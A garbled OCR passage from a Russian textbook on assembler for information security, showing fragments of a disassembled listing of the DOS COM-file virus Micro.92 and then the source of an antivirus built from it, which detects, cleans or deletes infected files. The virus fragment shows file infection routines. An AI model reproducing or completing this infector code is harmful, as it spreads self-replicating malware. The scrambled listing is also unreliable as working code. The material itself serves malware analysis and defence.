Анимация
JavaScript
|
Главная Библионтека 0120 80 ЗЕ 9Е FE В4 0125 74 17 0127 ВО 02 0129 Е8 1Е 00 012С A3 06 01 012С 012F В4 40 0131 CD 21 0131 0133 32 СО 0135 Е8 12 00 0138 8В D7 013А 34 40 013С CD 21 013С 013Е 013Е В4 ЗЕ 0140 CD 21 0140 0142 В4 4F 0144 ЕВ С7 0146 0146 0146 57 0147 F3 А4 0149 СЗ 0149 0149 014А 014А 014А 51 014В 52 014С 99 014D 33 С9 014F В4 42 0151 CD 21 jz mov call mov byte ptr ds:0FE9Eh, 0B4h Примитивная проверка зараженности NextFile al, 2 ; FSeek с конца файла FileSeek word ptr ModSiCmd+2, ax : Адрес буфера для нового : экземпляра размещаем в ОП после кода СОМ файла
ah, 4Fh 4Fh - найти следующий файл short SearchLoop start MoveCode: push di repe movsb retn endp ; sp = -2 FileSeek proc near push push cx dx cx, cx ah, 42h 21h 0151 0153 5А pop dx ; Если нет сбоя, то АХ ; содержит новую позицию ; в файле 0154 59 pop сх 0155 СЗ retn 0155 FileSeek endp 0155 0156 2А 2Е 63 4F 6D 00 FMask db *.cOm,0 0156 segOOO ends 0156 0156 end start Из этого вируса сделать антивирус уже сложнее. Во-первых, нужно учесть возможных варианта: зараженный файл, из которого вирус надо вычистить, и чистый экземпляр вируса, который надо просто стереть. Во-вторьгх, такого рода вирусы-малютки основаны на комбинации функций 1 которые не портят необходимых для работы алгоритма значений, находяш в регистрах; антивирус, основанный на подобных комбинациях, написать тоже можн рассматриваемая версия использует просто сохранение значений в выделенных для : переменных или в стеке перед вызовом "портящих" подпрограмм. Наконец, в-третьн Micro.92 нужно выкинуть больще команд, специфичных именно для вируса. В отличие от DHog.68, здесь команды, связанные с алгоритмом заражения, раскиданы по телу вируса (насколько это возможно в таком маленьком вирусе). Кс да под меткой ModSiCmd устанавливает регистр si на буфер сразу после кода ф; жертвы. Точнее говоря, в дизассемблированном чистом экземпляре она сделанг вынесения буфера "с запасом" ближе к концу сегмента. А вот при заражении кая нового файла в ее поле операнда заносится размер файла-жертвы, чтобы вирус moi тать его "голову" сразу же после "хвоста"; это делается командой mov word ptr ModSiCmd+2, ax, a в регистре ax находится размер файла, полученный переходом на его i подпрограммой FileSeek. Алгоритм вычищения зараженного файла более-менее очевиден: считать 92 байта из конца файла, переписать их в начало, после чего перейти на 92 байта от конца файла и отрезать уже ненужный кусок. Итак, исходный текст антивируса. ; Антивирус против вируса Micro.92 ; Изготовлен из самого дизассемблированного вируса segOOO segment byte public CODE assume cs:segOOO org lOOh assume es:nothing, ss:nothing, ds:segOOO
ClnFile: jb Finish ; Больше файлов нет mov dx, 9Eh ; Имя найденного файла в DTA mov ax, 3D02h int 21h xchg ax, bx mov FHandle, bx ; Запомнить идентификатор файла call WriteFName mov ah, 3Fh mov cx, 92 ; Размер считываемого куска mov dx, offset Buffer int 21h call GetFSize call ChkSgn ; Проверка зараженности cmp SgnStatus, 0 je ClnFile cmp SgnStatus, 2 je NextFile ; Вытереть после закры call RemoveVirus ; Чистка mov ah, 9 mov dx, offset ClnMsg int 21h jmp NextFile mov ah, 09h ; Выдать Ok для чистого файла mov int NextFile: SkipDel: mov mov int cmp jne mov mov int mov mov int mov jmp Finish: start endp FileSeek push push pop pop retn FileSeek FHandle FSize SgnStatus dx, offset OkMsg 21h bx, FHandle ah, 3Eh 21h SgnStatus, 2 SkipDel ah, 41h dx, 9Eh 21h ; Стереть файл по имени, указанном в DTA+lEh ah, 9 dx, offset DelMsg 21h ah, 4Fh ; 4Fh - найти следующий файл short SearchLoop proc near cx, cx ah, 42h dx ; Если нет сбоя, то АХ содержит новую позицию в файле сх endp dw О dw О db О ; О - чистый файл, 1 - зараженный файл, 2 - вирус без жертвы 268 Ассемблер в задачах защиты информации Buffer VirSignature SgnOfs SgnSize FMask OkMsg ClnMsg db DelMsg db TitleText db db db db 92 dup CM db OBOh, 02h, 0E8h, lEh, OOh, 0A3h, 06h, Olh db 0B4h, 40h, OCDh, 21h dw 27h dw 12 db *.com,0 db - Ok, 13, 10, $ заражен Micro.92 - вычищен!, 13, 10, $ заражен Micro, 92 - пришлось стереть!, 13, 10,, $ -1, 13, 10 Anti-Micro.92 , 13, 10 Антивирус из вируса. , 13, 10 db I--, 13, 10, $ ShowTitle raov raov int ret ShowTitle proc near ah, 9 dx, offset TitleText 21h endp ; Проверка сигнатуры ChkSgn proc near cld mov add mov mov rep cmp jne mov cmp ja raov SgnStatus, 0 ; Ничего пока не найдено FSize, 92 ; Не проверять - слишком маленькие файлы ExitChkSgn di, offset Buffer di, SgnOfs si, offset VirSignature cx, SgnSize cmpsb cx, 0 ExitChkSgn SgnStatus, 1 FSize, 92 ExitChkSgn SgnStatus, 2 Сигнатура не найдена
; Записать считанный код жертвы в начало файла SaveVictim proc near ; Перейти в начало файла
Проверить: a не чистый ли это экземпляр вируса? 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [ 42 ] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |